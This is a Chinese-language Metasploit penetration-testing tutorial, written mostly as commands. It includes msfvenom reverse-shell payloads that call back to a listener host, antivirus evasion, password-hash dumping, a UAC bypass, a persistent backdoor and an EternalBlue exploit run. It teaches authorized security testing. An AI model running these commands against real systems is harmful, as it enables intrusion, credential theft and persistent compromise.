文章

Metasploit Framework(MSF)渗透测试完整教程

第一章:MSF简介与安装

  1. Metasploit框架概述

  2. 历史背景:2003年由H.D. Moore发布,2010年成为Rapid7旗下开源项目,支持漏洞利用、渗透测试和后渗透攻击一体化。

  3. 核心功能:包含6大模块——Exploit(漏洞利用)、Payload(攻击载荷)、Auxiliary(辅助模块)、Encoder(编码器)、Post(后渗透)、NOP(空指令)。

  4. 安装与配置

  5. 一键安装(Linux/macOS):

     curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
    
  6. 数据库配置

     service postgresql start && msfdb init  # 初始化数据库
    
  7. 更新命令sudo msfupdate


第二章:MSF基础命令与模块

  1. 常用指令

  2. 模块管理

     search type:exploit windows smb  # 按类型筛选模块
     use exploit/windows/smb/ms17_010_eternalblue  # 加载模块
     show options  # 查看参数
    
  3. 会话管理

     sessions -l  # 列出所有会话
     sessions -i 1  # 切换到会话1
    
  4. 监听模块(Exploit/Multi/Handler)

  5. 防检测策略:使用编码器规避杀软(如x86/shikata_ga_nai)。

  6. 持续监听配置

     set ExitOnSession false  # 保持后台监听
    

第三章:Payload生成与无文件攻击

  1. msfvenom跨平台Payload生成

  2. Windows

     msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > shell.exe
    
  3. Linux

     msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.5 -f elf > backdoor.elf
    
  4. Android

     msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.5 -o virus.apk
    
  5. 无文件攻击技术

  6. Powershell内存加载

     msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.5 -f psh-reflection
    
  7. Web交付攻击

     use exploit/multi/script/web_delivery
     set target Python  # 生成Python反向Shell代码
    

第四章:后渗透攻击实战

  1. 信息收集与提权

  2. 获取系统信息

     sysinfo  # 系统基本信息
     run post/windows/gather/hashdump  # 提取密码哈希
    
  3. 绕过UAC提权

     use exploit/windows/local/bypassuac_eventvwr
     set SESSION 1  # 绑定当前会话
    
  4. 横向移动与持久化

  5. 进程迁移

     migrate <PID>  # 迁移到稳定进程(如explorer.exe)
    
  6. 持久后门

     run persistence -X -i 60 -p 443 -r 192.168.1.5  # 每60秒重连
    

第五章:经典漏洞利用案例

  1. 永恒之蓝(MS17-010)漏洞利用

    use exploit/windows/smb/ms17_010_eternalblue
    set RHOST 192.168.1.100  # 目标IP
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    exploit  # 执行攻击
    
  2. RDP漏洞(CVE-2019-0708)检测

    use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
    

第六章:MSF模块开发与扩展

  1. 自定义EXP模块开发

  2. 模块结构示例(Ruby):

     class MetasploitModule < Msf::Exploit::Remote
       def exploit
         connect
         sock.put(payload.encoded)  # 发送恶意载荷
         handler
       end
     end
    
  3. 模块加载:将.rb文件放入/usr/share/metasploit-framework/modules/exploits/custom

  4. 与Cobalt Strike联动

  5. MSF会话转CS

     use exploit/windows/local/payload_inject
     set PAYLOAD windows/meterpreter/reverse_http
     set LHOST [CS_IP] && set LPORT [CS_PORT]
    

附录:漏洞情报与资源

  1. CVE监控方法
  2. 订阅GitHub仓库rapid7/metasploit-framework获取最新漏洞模块。
  3. 使用search cve:2023-XXXX快速定位新漏洞利用代码。

参考资料

  • MSF安装与数据库配置
  • 模块目录结构与辅助扫描
  • Payload生成与漏洞利用
  • 后渗透提权与横向移动
  • Meterpreter高级操作
  • 木马生成与监听实战
  • 持久化与进程迁移
  • 模块开发与CVE监控

本教程整合多篇权威指南,覆盖从基础到高级的完整渗透测试链路。实际使用时需遵守法律法规,建议在授权环境下验证技术细节。

License:  CC BY 4.0